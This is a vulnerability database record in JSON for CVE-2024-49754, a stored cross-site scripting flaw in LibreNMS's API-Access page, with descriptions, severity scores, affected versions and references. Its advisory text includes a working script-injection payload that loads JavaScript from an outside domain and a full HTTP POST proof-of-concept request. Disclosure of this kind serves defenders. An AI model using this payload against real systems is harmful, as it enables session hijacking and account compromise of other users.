{"id":"CVE-2024-49754","aliases":["CVE-2024-49754","GHSA-gfwr-xqmj-j27v"],"related":[],"kind":"vulnerability","state":"published","title":"LibreNMS has a stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/api-access.inc.php","summary":"LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. A Stored Cross-Site Scripting (XSS) vulnerability in the API-Access page allows authenticated users to inject arbitrary JavaScript through the \"token\" parameter when creating a new API token. This vulnerability can result in the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions. This vulnerability is fixed in 24.10.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. A Stored Cross-Site Scripting (XSS) vulnerability in the API-Access page allows authenticated users to inject arbitrary JavaScript through the \"token\" parameter when creating a new API token. This vulnerability can result in the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions. This vulnerability is fixed in 24.10.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nA Stored Cross-Site Scripting (XSS) vulnerability in the API-Access page allows authenticated users to inject arbitrary JavaScript through the \"token\" parameter when creating a new API token. This vulnerability can result in the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions.\n\n### Details\n\nThe vulnerability occurs when creating a new API Token. An attacker can inject arbitrary JavaScript into the \"token\" parameter, which is then executed when the API Access page is visited. The payload is triggered twice—once in the \"Token Hash\" column and once in the \"QR Code\" column.\n\nThe payload used to exploit this vulnerability is: `'\"><script/src=//15.rs></script>`\n\nNote: The payload uses the \"15.rs\" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.\n\nThe vulnerability is due to insufficient sanitization of the \"token_hash\" variable before it is output in the HTML. This is evident in the following lines of code:\n\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L152\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L153\n\n### PoC\n\n1. Create a new API token with the following payload in the \"token\" parameter: `'\"><script/src=//15.rs></script>`\n2. Save the token.\n3. Navigate to the API Access page.\n4. Observe that the injected script executes twice, once in the \"Token Hash\" column and once in the \"QR Code\" column.\n\n```http\nPOST /ajax_form.php HTTP/1.1\nHost: <your_host>\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-CSRF-TOKEN: <your_token>\nX-Requested-With: XMLHttpRequest\nCookie: <your_cookie>\n\n_token=<your_token>&user_id=1&token='\"><script/src=//15.rs></script>&description=t'\"><script/src=//15.rs>&type=token-item-create\n```\n\n### Impact\n\nThe vulnerability allows authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. This can lead to account compromise and enable unauthorized actions on behalf of the impacted users.","format":"markdown","source":"ghsa"},{"lang":"es","text":"LibreNMS es un sistema de monitoreo de red de código abierto basado en PHP/MySQL/SNMP. Una vulnerabilidad de tipo Cross-Site Scripting (XSS) Almacenado en la página API-Access permite a los usuarios autenticados inyectar código JavaScript arbitrario a través del parámetro \"token\" al crear un nuevo token de API. Esta vulnerabilidad puede provocar la ejecución de código malicioso en el contexto de las sesiones de otros usuarios, comprometiendo sus cuentas y permitiendo acciones no autorizadas. Esta vulnerabilidad se solucionó en 24.10.0.","source":"nvd"}],"published":"2024-11-15T15:11:45.000Z","modified":"2026-06-17T08:00:23.157Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< 24.10.0","status":"affected"}],"vendor":"librenms","product":"librenms","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"24.10.0","status":"affected"}],"vendor":"librenms","product":"librenms","cpe":"cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"24.10.0"}],"ecosystem":"Packagist","package":"librenms/librenms","purl":"pkg:composer/librenms/librenms","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"24.10.0"}],"vendor":"librenms","product":"librenms","cpe":"cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/librenms/librenms/security/advisories/GHSA-gfwr-xqmj-j27v","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/librenms/librenms/commit/25988a937cbaebd2ba4c0517510206c404dfb359","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-49754","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/librenms/librenms","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2024-11-15T18:53:36.556Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-49754","url":"https://www.cve.org/CVERecord?id=CVE-2024-49754","licence":"CVE Terms of Use","modified":"2024-11-15T18:54:23.916Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-gfwr-xqmj-j27v","url":"https://github.com/advisories/GHSA-gfwr-xqmj-j27v","licence":"CC-BY-4.0","modified":"2024-11-15T21:09:42.689Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-49754","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-49754","licence":"Public domain","modified":"2026-06-17T08:00:23.157Z"}],"updatedAt":"2026-11-25T22:58:48.300Z","epss":{"score":0.73905,"percentile":0.99482,"date":"2026-12-01T12:00:22.000Z"}}